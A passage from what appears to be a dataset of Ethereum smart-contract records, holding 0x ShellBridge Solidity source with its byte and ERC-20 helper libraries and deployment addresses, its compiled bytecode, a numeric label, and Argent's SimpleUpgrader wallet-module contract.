(b.length < index + 32) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsThirtyTwoRequired, b.length, index + 32 )); } // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { result := mload(add(b, index)) } return result; } /// @dev Writes a bytes32 into a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input bytes32 to put into byte array. function writeBytes32( bytes memory b, uint256 index, bytes32 input ) internal pure { if (b.length < index + 32) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsThirtyTwoRequired, b.length, index + 32 )); } // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { mstore(add(b, index), input) } } /// @dev Reads a uint256 value from a position in a byte array. /// @param b Byte array containing a uint256 value. /// @param index Index in byte array of uint256 value. /// @return uint256 value from byte array. function readUint256( bytes memory b, uint256 index ) internal pure returns (uint256 result) { result = uint256(readBytes32(b, index)); return result; } /// @dev Writes a uint256 into a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input uint256 to put into byte array. function writeUint256( bytes memory b, uint256 index, uint256 input ) internal pure { writeBytes32(b, index, bytes32(input)); } /// @dev Reads an unpadded bytes4 value from a position in a byte array. /// @param b Byte array containing a bytes4 value. /// @param index Index in byte array of bytes4 value. /// @return bytes4 value from byte array. function readBytes4( bytes memory b, uint256 index ) internal pure returns (bytes4 result) { if (b.length < index + 4) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsFourRequired, b.length, index + 4 )); } // Arrays are prefixed by a 32 byte length field index += 32; // Read the bytes4 from array memory assembly { result := mload(add(b, index)) // Solidity does not require us to clean the trailing bytes. // We do it anyway result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000) } return result; } /// @dev Writes a new length to a byte array. /// Decreasing length will lead to removing the corresponding lower order bytes from the byte array. /// Increasing length may lead to appending adjacent in-memory bytes to the end of the byte array. /// @param b Bytes array to write new length to. /// @param length New length of byte array. function writeLength(bytes memory b, uint256 length) internal pure { assembly { mstore(b, length) } } } library LibERC20Token { bytes constant private DECIMALS_CALL_DATA = hex"313ce567"; /// @dev Calls `IERC20Token(token).approve()`. /// Reverts if `false` is returned or if the return /// data length is nonzero and not 32 bytes. /// @param token The address of the token contract. /// @param spender The address that receives an allowance. /// @param allowance The allowance to set. function approve( address token, address spender, uint256 allowance ) internal { bytes memory callData = abi.encodeWithSelector( IERC20Token(0).approve.selector, spender, allowance ); _callWithOptionalBooleanResult(token, callData); } /// @dev Calls `IERC20Token(token).approve()` and sets the allowance to the /// maximum if the current approval is not already >= an amount. /// Reverts if `false` is returned or if the return /// data length is nonzero and not 32 bytes. /// @param token The address of the token contract. /// @param spender The address that receives an allowance. /// @param amount The minimum allowance needed. function approveIfBelow( address token, address spender, uint256 amount ) internal { if (IERC20Token(token).allowance(address(this), spender) < amount) { approve(token, spender, uint256(-1)); } } /// @dev Calls `IERC20Token(token).transfer()`. /// Reverts if `false` is returned or if the return /// data length is nonzero and not 32 bytes. /// @param token The address of the token contract. /// @param to The address that receives the tokens /// @param amount Number of tokens to transfer. function transfer( address token, address to, uint256 amount ) internal { bytes memory callData = abi.encodeWithSelector( IERC20Token(0).transfer.selector, to, amount ); _callWithOptionalBooleanResult(token, callData); } /// @dev Calls `IERC20Token(token).transferFrom()`. /// Reverts if `false` is returned or if the return /// data length is nonzero and not 32 bytes. /// @param token The address of the token contract. /// @param from The owner of the tokens. /// @param to The address that receives the tokens /// @param amount Number of tokens to transfer. function transferFrom( address token, address from, address to, uint256 amount ) internal { bytes memory callData = abi.encodeWithSelector( IERC20Token(0).transferFrom.selector, from, to, amount ); _callWithOptionalBooleanResult(token, callData); } /// @dev Retrieves the number of decimals for a token. /// Returns `18` if the call reverts. /// @param token The address of the token contract. /// @return tokenDecimals The number of decimals places for the token. function decimals(address token) internal view returns (uint8 tokenDecimals) { tokenDecimals = 18; (bool didSucceed, bytes memory resultData) = token.staticcall(DECIMALS_CALL_DATA); if (didSucceed && resultData.length == 32) { tokenDecimals = uint8(LibBytes.readUint256(resultData, 0)); } } /// @dev Retrieves the allowance for a token, owner, and spender. /// Returns `0` if the call reverts. /// @param token The address of the token contract. /// @param owner The owner of the tokens. /// @param spender The address the spender. /// @return allowance The allowance for a token, owner, and spender. function allowance(address token, address owner, address spender) internal view returns (uint256 allowance_) { (bool didSucceed, bytes memory resultData) = token.staticcall( abi.encodeWithSelector( IERC20Token(0).allowance.selector, owner, spender ) ); if (didSucceed && resultData.length == 32) { allowance_ = LibBytes.readUint256(resultData, 0); } } /// @dev Retrieves the balance for a token owner. /// Returns `0` if the call reverts. /// @param token The address of the token contract. /// @param owner The owner of the tokens. /// @return balance The token balance of an owner. function balanceOf(address token, address owner) internal view returns (uint256 balance) { (bool didSucceed, bytes memory resultData) = token.staticcall( abi.encodeWithSelector( IERC20Token(0).balanceOf.selector, owner ) ); if (didSucceed && resultData.length == 32) { balance = LibBytes.readUint256(resultData, 0); } } /// @dev Executes a call on address `target` with calldata `callData` /// and asserts that either nothing was returned or a single boolean /// was returned equal to `true`. /// @param target The call target. /// @param callData The abi-encoded call data. function _callWithOptionalBooleanResult( address target, bytes memory callData ) private { (bool didSucceed, bytes memory resultData) = target.call(callData); if (didSucceed) { if (resultData.length == 0) { return; } if (resultData.length == 32) { uint256 result = LibBytes.readUint256(resultData, 0); if (result == 1) { return; } } } LibRichErrors.rrevert(resultData); } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IWallet { bytes4 internal constant LEGACY_WALLET_MAGIC_VALUE = 0xb0671381; /// @dev Validates a hash with the `Wallet` signature type. /// @param hash Message hash that is signed. /// @param signature Proof of signing. /// @return magicValue `bytes4(0xb0671381)` if the signature check succeeds. function isValidSignature( bytes32 hash, bytes calldata signature ) external view returns (bytes4 magicValue); } /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract DeploymentConstants { // solhint-disable separate-by-one-line-in-contract // Mainnet addresses /////////////////////////////////////////////////////// /// @dev Mainnet address of the WETH contract. address constant private WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; /// @dev Mainnet address of the KyberNetworkProxy contract. address constant private KYBER_NETWORK_PROXY_ADDRESS = 0x9AAb3f75489902f3a48495025729a0AF77d4b11e; /// @dev Mainnet address of the KyberHintHandler contract. address constant private KYBER_HINT_HANDLER_ADDRESS = 0xa1C0Fa73c39CFBcC11ec9Eb1Afc665aba9996E2C; /// @dev Mainnet address of the `UniswapExchangeFactory` contract. address constant private UNISWAP_EXCHANGE_FACTORY_ADDRESS = 0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95; /// @dev Mainnet address of the `UniswapV2Router01` contract. address constant private UNISWAP_V2_ROUTER_01_ADDRESS = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; /// @dev Mainnet address of the Eth2Dai `MatchingMarket` contract. address constant private ETH2DAI_ADDRESS = 0x794e6e91555438aFc3ccF1c5076A74F42133d08D; /// @dev Mainnet address of the `ERC20BridgeProxy` contract address constant private ERC20_BRIDGE_PROXY_ADDRESS = 0x8ED95d1746bf1E4dAb58d8ED4724f1Ef95B20Db0; ///@dev Mainnet address of the `Dai` (multi-collateral) contract address constant private DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; /// @dev Mainnet address of the `Chai` contract address constant private CHAI_ADDRESS = 0x06AF07097C9Eeb7fD685c692751D5C66dB49c215; /// @dev Mainnet address of the 0x DevUtils contract. address constant private DEV_UTILS_ADDRESS = 0x74134CF88b21383713E096a5ecF59e297dc7f547; /// @dev Kyber ETH pseudo-address. address constant internal KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /// @dev Mainnet address of the dYdX contract. address constant private DYDX_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; /// @dev Mainnet address of the GST2 contract address constant private GST_ADDRESS = 0x0000000000b3F879cb30FE243b4Dfee438691c04; /// @dev Mainnet address of the GST Collector address constant private GST_COLLECTOR_ADDRESS = 0x000000D3b08566BE75A6DB803C03C85C0c1c5B96; /// @dev Mainnet address of the mStable mUSD contract. address constant private MUSD_ADDRESS = 0xe2f2a5C287993345a840Db3B0845fbC70f5935a5; /// @dev Mainnet address of the Mooniswap Registry contract address constant private MOONISWAP_REGISTRY = 0x71CD6666064C3A1354a3B4dca5fA1E2D3ee7D303; /// @dev Mainnet address of the DODO Registry (ZOO) contract address constant private DODO_REGISTRY = 0x3A97247DF274a17C59A3bd12735ea3FcDFb49950; /// @dev Mainnet address of the DODO Helper contract address constant private DODO_HELPER = 0x533dA777aeDCE766CEAe696bf90f8541A4bA80Eb; // // Ropsten addresses /////////////////////////////////////////////////////// // /// @dev Mainnet address of the WETH contract. // address constant private WETH_ADDRESS = 0xc778417E063141139Fce010982780140Aa0cD5Ab; // /// @dev Mainnet address of the KyberNetworkProxy contract. // address constant private KYBER_NETWORK_PROXY_ADDRESS = 0xd719c34261e099Fdb33030ac8909d5788D3039C4; // /// @dev Mainnet address of the `UniswapExchangeFactory` contract. // address constant private UNISWAP_EXCHANGE_FACTORY_ADDRESS = 0x9c83dCE8CA20E9aAF9D3efc003b2ea62aBC08351; // /// @dev Mainnet address of the `UniswapV2Router01` contract. // address constant private UNISWAP_V2_ROUTER_01_ADDRESS = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // /// @dev Mainnet address of the Eth2Dai `MatchingMarket` contract. // address constant private ETH2DAI_ADDRESS = address(0); // /// @dev Mainnet address of the `ERC20BridgeProxy` contract // address constant private ERC20_BRIDGE_PROXY_ADDRESS = 0xb344afeD348de15eb4a9e180205A2B0739628339; // ///@dev Mainnet address of the `Dai` (multi-collateral) contract // address constant private DAI_ADDRESS = address(0); // /// @dev Mainnet address of the `Chai` contract // address constant private CHAI_ADDRESS = address(0); // /// @dev Mainnet address of the 0x DevUtils contract. // address constant private DEV_UTILS_ADDRESS = 0xC812AF3f3fBC62F76ea4262576EC0f49dB8B7f1c; // /// @dev Kyber ETH pseudo-address. // address constant internal KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // /// @dev Mainnet address of the dYdX contract. // address constant private DYDX_ADDRESS = address(0); // /// @dev Mainnet address of the GST2 contract // address constant private GST_ADDRESS = address(0); // /// @dev Mainnet address of the GST Collector // address constant private GST_COLLECTOR_ADDRESS = address(0); // /// @dev Mainnet address of the mStable mUSD contract. // address constant private MUSD_ADDRESS = 0x4E1000616990D83e56f4b5fC6CC8602DcfD20459; // // Rinkeby addresses /////////////////////////////////////////////////////// // /// @dev Mainnet address of the WETH contract. // address constant private WETH_ADDRESS = 0xc778417E063141139Fce010982780140Aa0cD5Ab; // /// @dev Mainnet address of the KyberNetworkProxy contract. // address constant private KYBER_NETWORK_PROXY_ADDRESS = 0x0d5371e5EE23dec7DF251A8957279629aa79E9C5; // /// @dev Mainnet address of the `UniswapExchangeFactory` contract. // address constant private UNISWAP_EXCHANGE_FACTORY_ADDRESS = 0xf5D915570BC477f9B8D6C0E980aA81757A3AaC36; // /// @dev Mainnet address of the `UniswapV2Router01` contract. // address constant private UNISWAP_V2_ROUTER_01_ADDRESS = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // /// @dev Mainnet address of the Eth2Dai `MatchingMarket` contract. // address constant private ETH2DAI_ADDRESS = address(0); // /// @dev Mainnet address of the `ERC20BridgeProxy` contract // address constant private ERC20_BRIDGE_PROXY_ADDRESS = 0xA2AA4bEFED748Fba27a3bE7Dfd2C4b2c6DB1F49B; // ///@dev Mainnet address of the `Dai` (multi-collateral) contract // address constant private DAI_ADDRESS = address(0); // /// @dev Mainnet address of the `Chai` contract // address constant private CHAI_ADDRESS = address(0); // /// @dev Mainnet address of the 0x DevUtils contract. // address constant private DEV_UTILS_ADDRESS = 0x46B5BC959e8A754c0256FFF73bF34A52Ad5CdfA9; // /// @dev Kyber ETH pseudo-address. // address constant internal KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // /// @dev Mainnet address of the dYdX contract. // address constant private DYDX_ADDRESS = address(0); // /// @dev Mainnet address of the GST2 contract // address constant private GST_ADDRESS = address(0); // /// @dev Mainnet address of the GST Collector // address constant private GST_COLLECTOR_ADDRESS = address(0); // /// @dev Mainnet address of the mStable mUSD contract. // address constant private MUSD_ADDRESS = address(0); // // Kovan addresses ///////////////////////////////////////////////////////// // /// @dev Kovan address of the WETH contract. // address constant private WETH_ADDRESS = 0xd0A1E359811322d97991E03f863a0C30C2cF029C; // /// @dev Kovan address of the KyberNetworkProxy contract. // address constant private KYBER_NETWORK_PROXY_ADDRESS = 0x692f391bCc85cefCe8C237C01e1f636BbD70EA4D; // /// @dev Kovan address of the `UniswapExchangeFactory` contract. // address constant private UNISWAP_EXCHANGE_FACTORY_ADDRESS = 0xD3E51Ef092B2845f10401a0159B2B96e8B6c3D30; // /// @dev Kovan address of the `UniswapV2Router01` contract. // address constant private UNISWAP_V2_ROUTER_01_ADDRESS = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // /// @dev Kovan address of the Eth2Dai `MatchingMarket` contract. // address constant private ETH2DAI_ADDRESS = 0xe325acB9765b02b8b418199bf9650972299235F4; // /// @dev Kovan address of the `ERC20BridgeProxy` contract // address constant private ERC20_BRIDGE_PROXY_ADDRESS = 0x3577552C1Fb7A44aD76BeEB7aB53251668A21F8D; // /// @dev Kovan address of the `Chai` contract // address constant private CHAI_ADDRESS = address(0); // /// @dev Kovan address of the `Dai` (multi-collateral) contract // address constant private DAI_ADDRESS = 0x4F96Fe3b7A6Cf9725f59d353F723c1bDb64CA6Aa; // /// @dev Kovan address of the 0x DevUtils contract. // address constant private DEV_UTILS_ADDRESS = 0x9402639A828BdF4E9e4103ac3B69E1a6E522eB59; // /// @dev Kyber ETH pseudo-address. // address constant internal KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // /// @dev Kovan address of the dYdX contract. // address constant private DYDX_ADDRESS = address(0); // /// @dev Kovan address of the GST2 contract // address constant private GST_ADDRESS = address(0); // /// @dev Kovan address of the GST Collector // address constant private GST_COLLECTOR_ADDRESS = address(0); // /// @dev Mainnet address of the mStable mUSD contract. // address constant private MUSD_ADDRESS = address(0); /// @dev Overridable way to get the `KyberNetworkProxy` address. /// @return kyberAddress The `IKyberNetworkProxy` address. function _getKyberNetworkProxyAddress() internal view returns (address kyberAddress) { return KYBER_NETWORK_PROXY_ADDRESS; } /// @dev Overridable way to get the `KyberHintHandler` address. /// @return kyberAddress The `IKyberHintHandler` address. function _getKyberHintHandlerAddress() internal view returns (address hintHandlerAddress) { return KYBER_HINT_HANDLER_ADDRESS; } /// @dev Overridable way to get the WETH address. /// @return wethAddress The WETH address. function _getWethAddress() internal view returns (address wethAddress) { return WETH_ADDRESS; } /// @dev Overridable way to get the `UniswapExchangeFactory` address. /// @return uniswapAddress The `UniswapExchangeFactory` address. function _getUniswapExchangeFactoryAddress() internal view returns (address uniswapAddress) { return UNISWAP_EXCHANGE_FACTORY_ADDRESS; } /// @dev Overridable way to get the `UniswapV2Router01` address. /// @return uniswapRouterAddress The `UniswapV2Router01` address. function _getUniswapV2Router01Address() internal view returns (address uniswapRouterAddress) { return UNISWAP_V2_ROUTER_01_ADDRESS; } /// @dev An overridable way to retrieve the Eth2Dai `MatchingMarket` contract. /// @return eth2daiAddress The Eth2Dai `MatchingMarket` contract. function _getEth2DaiAddress() internal view returns (address eth2daiAddress) { return ETH2DAI_ADDRESS; } /// @dev An overridable way to retrieve the `ERC20BridgeProxy` contract. /// @return erc20BridgeProxyAddress The `ERC20BridgeProxy` contract. function _getERC20BridgeProxyAddress() internal view returns (address erc20BridgeProxyAddress) { return ERC20_BRIDGE_PROXY_ADDRESS; } /// @dev An overridable way to retrieve the `Dai` contract. /// @return daiAddress The `Dai` contract. function _getDaiAddress() internal view returns (address daiAddress) { return DAI_ADDRESS; } /// @dev An overridable way to retrieve the `Chai` contract. /// @return chaiAddress The `Chai` contract. function _getChaiAddress() internal view returns (address chaiAddress) { return CHAI_ADDRESS; } /// @dev An overridable way to retrieve the 0x `DevUtils` contract address. /// @return devUtils The 0x `DevUtils` contract address. function _getDevUtilsAddress() internal view returns (address devUtils) { return DEV_UTILS_ADDRESS; } /// @dev Overridable way to get the DyDx contract. /// @return exchange The DyDx exchange contract. function _getDydxAddress() internal view returns (address dydxAddress) { return DYDX_ADDRESS; } /// @dev An overridable way to retrieve the GST2 contract address. /// @return gst The GST contract. function _getGstAddress() internal view returns (address gst) { return GST_ADDRESS; } /// @dev An overridable way to retrieve the GST Collector address. /// @return collector The GST collector address. function _getGstCollectorAddress() internal view returns (address collector) { return GST_COLLECTOR_ADDRESS; } /// @dev An overridable way to retrieve the mStable mUSD address. /// @return musd The mStable mUSD address. function _getMUsdAddress() internal view returns (address musd) { return MUSD_ADDRESS; } /// @dev An overridable way to retrieve the Mooniswap registry address. /// @return registry The Mooniswap registry address. function _getMooniswapAddress() internal view returns (address) { return MOONISWAP_REGISTRY; } /// @dev An overridable way to retrieve the DODO Registry contract address. /// @return registry The DODO Registry contract address. function _getDODORegistryAddress() internal view returns (address) { return DODO_REGISTRY; } /// @dev An overridable way to retrieve the DODO Helper contract address. /// @return registry The DODO Helper contract address. function _getDODOHelperAddress() internal view returns (address) { return DODO_HELPER; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IERC20Bridge { /// @dev Result of a successful bridge call. bytes4 constant internal BRIDGE_SUCCESS = 0xdc1600f3; /// @dev Emitted when a trade occurs. /// @param inputToken The token the bridge is converting from. /// @param outputToken The token the bridge is converting to. /// @param inputTokenAmount Amount of input token. /// @param outputTokenAmount Amount of output token. /// @param from The `from` address in `bridgeTransferFrom()` /// @param to The `to` address in `bridgeTransferFrom()` event ERC20BridgeTransfer( address inputToken, address outputToken, uint256 inputTokenAmount, uint256 outputTokenAmount, address from, address to ); /// @dev Transfers `amount` of the ERC20 `tokenAddress` from `from` to `to`. /// @param tokenAddress The address of the ERC20 token to transfer. /// @param from Address to transfer asset from. /// @param to Address to transfer asset to. /// @param amount Amount of asset to transfer. /// @param bridgeData Arbitrary asset data needed by the bridge contract. /// @return success The magic bytes `0xdc1600f3` if successful. function bridgeTransferFrom( address tokenAddress, address from, address to, uint256 amount, bytes calldata bridgeData ) external returns (bytes4 success); } /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ interface IShell { function originSwap( address from, address to, uint256 fromAmount, uint256 minTargetAmount, uint256 deadline ) external returns (uint256 toAmount); } contract ShellBridge is IERC20Bridge, IWallet, DeploymentConstants { /// @dev Swaps specified tokens against the Shell contract /// @param toTokenAddress The token to give to `to`. /// @param from The maker (this contract). /// @param to The recipient of the bought tokens. /// @param amount Minimum amount of `toTokenAddress` tokens to buy. /// @param bridgeData The abi-encoded "from" token address. /// @return success The magic bytes if successful. // solhint-disable no-unused-vars function bridgeTransferFrom( address toTokenAddress, address from, address to, uint256 amount, bytes calldata bridgeData ) external returns (bytes4 success) { // Decode the bridge data to get the `fromTokenAddress` and `pool`. (address fromTokenAddress, address pool) = abi.decode(bridgeData, (address, address)); uint256 fromTokenBalance = IERC20Token(fromTokenAddress).balanceOf(address(this)); // Grant an allowance to the exchange to spend `fromTokenAddress` token. LibERC20Token.approveIfBelow(fromTokenAddress, pool, fromTokenBalance); // Try to sell all of this contract's `fromTokenAddress` token balance. uint256 boughtAmount = IShell(pool).originSwap( fromTokenAddress, toTokenAddress, fromTokenBalance, amount, // min amount block.timestamp + 1 ); LibERC20Token.transfer(toTokenAddress, to, boughtAmount); emit ERC20BridgeTransfer( fromTokenAddress, toTokenAddress, fromTokenBalance, boughtAmount, from, to ); return BRIDGE_SUCCESS; } /// @dev `SignatureType.Wallet` callback, so that this bridge can be the maker /// and sign for itself in orders. Always succeeds. /// @return magicValue Magic success bytes, always. function isValidSignature( bytes32, bytes calldata ) external view returns (bytes4 magicValue) { return LEGACY_WALLET_MAGIC_VALUE; } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80631626ba7e1461003b578063c2df82e614610064575b600080fd5b61004e6100493660046105bc565b610077565b60405161005b919061077d565b60405180910390f35b61004e61007236600461052c565b610087565b63b067138160e01b5b9392505050565b60008080610097848601866104f2565b915091506000826001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016100c9919061069d565b60206040518083038186803b1580156100e157600080fd5b505afa1580156100f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506101199190810190610612565b9050610126838383610219565b604051630164b07960e31b81526000906001600160a01b03841690630b2583c8906101609087908f9087908e906001420190600401610720565b602060405180830381600087803b15801561017a57600080fd5b505af115801561018e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506101b29190810190610612565b90506101bf8b8a836102b1565b7f349fc08071558d8e3aa92dec9396e4e9f2dfecd6bb9065759d1932e7da43b8a9848c84848e8e6040516101f8969594939291906106c6565b60405180910390a15063dc1600f360e01b93505050505b9695505050505050565b604051636eb1769f60e11b815281906001600160a01b0385169063dd62ed3e9061024990309087906004016106ab565b60206040518083038186803b15801561026157600080fd5b505afa158015610275573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506102999190810190610612565b10156102ac576102ac8383600019610314565b505050565b60405160609063a9059cbb60e01b906102d09085908590602401610762565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152905061030e8482610333565b50505050565b60405160609063095ea7b360e01b906102d09085908590602401610762565b60006060836001600160a01b03168360405161034f9190610691565b6000604051808303816000865af19150503d806000811461038c576040519150601f19603f3d011682016040523d82523d6000602084013e610391565b606091505b509150915081156103d55780516103a95750506103de565b8051602014156103d55760006103c08260006103e2565b905080600114156103d3575050506103de565b505b61030e816103f7565b5050565b60006103ee83836103ff565b90505b92915050565b805160208201fd5b6000816020018351101561042557610425610420600585518560200161042e565b6103f7565b50016020015190565b6060632800659560e01b84848460405160240161044d9392919061078b565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915290509392505050565b80356103f181610831565b80356103f181610845565b60008083601f8401126104b057600080fd5b50813567ffffffffffffffff8111156104c857600080fd5b6020830191508360018202830111156104e057600080fd5b9250929050565b80516103f181610845565b6000806040838503121561050557600080fd5b60006105118585610488565b925050602061052285828601610488565b9150509250929050565b60008060008060008060a0878903121561054557600080fd5b60006105518989610488565b965050602061056289828a01610488565b955050604061057389828a01610488565b945050606061058489828a01610493565b935050608087013567ffffffffffffffff8111156105a157600080fd5b6105ad89828a0161049e565b92509250509295509295509295565b6000806000604084860312156105d157600080fd5b60006105dd8686610493565b935050602084013567ffffffffffffffff8111156105fa57600080fd5b6106068682870161049e565b92509250509250925092565b60006020828403121561062457600080fd5b600061063084846104e7565b949350505050565b610641816107bc565b82525050565b610641816107ca565b600061065b826107b3565b61066581856107b7565b93506106758185602086016107f8565b9290920192915050565b610641816107ed565b610641816107c7565b60006100808284610650565b602081016103f18284610638565b604081016106b98285610638565b6100806020830184610638565b60c081016106d48289610638565b6106e16020830188610638565b6106ee6040830187610688565b6106fb6060830186610688565b6107086080830185610638565b61071560a0830184610638565b979650505050505050565b60a0810161072e8288610638565b61073b6020830187610638565b6107486040830186610688565b6107556060830185610688565b61020f6080830184610688565b604081016107708285610638565b6100806020830184610688565b602081016103f18284610647565b60608101610799828661067f565b6107a66020830185610688565b6106306040830184610688565b5190565b919050565b60006103f1826107e1565b90565b6001600160e01b03191690565b806107b781610824565b6001600160a01b031690565b60006103f1826107d7565b60005b838110156108135781810151838201526020016107fb565b8381111561030e5750506000910152565b6008811061082e57fe5b50565b61083a816107bc565b811461082e57600080fd5b61083a816107c756fea365627a7a7231582080f987534cf2c6842693d8aa51a4590b0c7df8423d544e078e226cf07243a7876c6578706572696d656e74616cf564736f6c63430005110040
[ 38 ]
0xf1c0ace1e187d14632212636b361cca8a349c1ce
// Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; /** * @title IWallet * @notice Interface for the BaseWallet */ interface IWallet { /** * @notice Returns the wallet owner. * @return The wallet owner address. */ function owner() external view returns (address); /** * @notice Returns the number of authorised modules. * @return The number of authorised modules. */ function modules() external view returns (uint); /** * @notice Sets a new owner for the wallet. * @param _newOwner The new owner. */ function setOwner(address _newOwner) external; /** * @notice Checks if a module is authorised on the wallet. * @param _module The module address to check. * @return `true` if the module is authorised, otherwise `false`. */ function authorised(address _module) external view returns (bool); /** * @notice Returns the module responsible for a static call redirection. * @param _sig The signature of the static call. * @return the module doing the redirection */ function enabled(bytes4 _sig) external view returns (address); /** * @notice Enables/Disables a module. * @param _module The target module. * @param _value Set to `true` to authorise the module. */ function authoriseModule(address _module, bool _value) external; /** * @notice Enables a static method by specifying the target module to which the call must be delegated. * @param _module The target module. * @param _method The static method signature. */ function enableStaticCall(address _module, bytes4 _method) external; } /** * @title IModule * @notice Interface for a Module. * @author Julien Niset - <julien@argent.xyz>, Olivier VDB - <olivier@argent.xyz> */ interface IModule { /** * @notice Adds a module to a wallet. Cannot execute when wallet is locked (or under recovery) * @param _wallet The target wallet. * @param _module The modules to authorise. */ function addModule(address _wallet, address _module) external; /** * @notice Inits a Module for a wallet by e.g. setting some wallet specific parameters in storage. * @param _wallet The wallet. */ function init(address _wallet) external; /** * @notice Returns whether the module implements a callback for a given static call method. * @param _methodId The method id. */ function supportsStaticCall(bytes4 _methodId) external view returns (bool _isSupported); } /** * @title IModuleRegistry * @notice Interface for the registry of authorised modules. */ interface IModuleRegistry { function registerModule(address _module, bytes32 _name) external; function deregisterModule(address _module) external; function registerUpgrader(address _upgrader, bytes32 _name) external; function deregisterUpgrader(address _upgrader) external; function recoverToken(address _token) external; function moduleInfo(address _module) external view returns (bytes32); function upgraderInfo(address _upgrader) external view returns (bytes32); function isRegisteredModule(address _module) external view returns (bool); function isRegisteredModule(address[] calldata _modules) external view returns (bool); function isRegisteredUpgrader(address _upgrader) external view returns (bool); } /** * @title SimpleUpgrader * @notice Temporary module used to add/remove other modules. * @author Olivier VDB - <olivier@argent.xyz>, Julien Niset - <julien@argent.xyz> */ contract SimpleUpgrader is IModule { IModuleRegistry private registry; address[] public toDisable; address[] public toEnable; // *************** Constructor ********************** // constructor( IModuleRegistry _registry, address[] memory _toDisable, address[] memory _toEnable ) { registry = _registry; toDisable = _toDisable; toEnable = _toEnable; } // *************** External/Public Functions ********************* // /** * @notice Perform the upgrade for a wallet. This method gets called when SimpleUpgrader is temporarily added as a module. * @param _wallet The target wallet. */ function init(address _wallet) external override { require(msg.sender == _wallet, "SU: only wallet can call init"); require(registry.isRegisteredModule(toEnable), "SU: module not registered"); uint256 i = 0; //add new modules for (; i < toEnable.length; i++) { IWallet(_wallet).authoriseModule(toEnable[i], true); } //remove old modules for (i = 0; i < toDisable.length; i++) { IWallet(_wallet).authoriseModule(toDisable[i], false); } // SimpleUpgrader did its job, we no longer need it as a module IWallet(_wallet).authoriseModule(address(this), false); } /** * @inheritdoc IModule */ function addModule(address /*_wallet*/, address /*_module*/) external pure override { revert("SU: method not implemented"); } /** * @inheritdoc IModule */ function supportsStaticCall(bytes4 /*_methodId*/) external pure override returns (bool _isSupported) { return false; } }
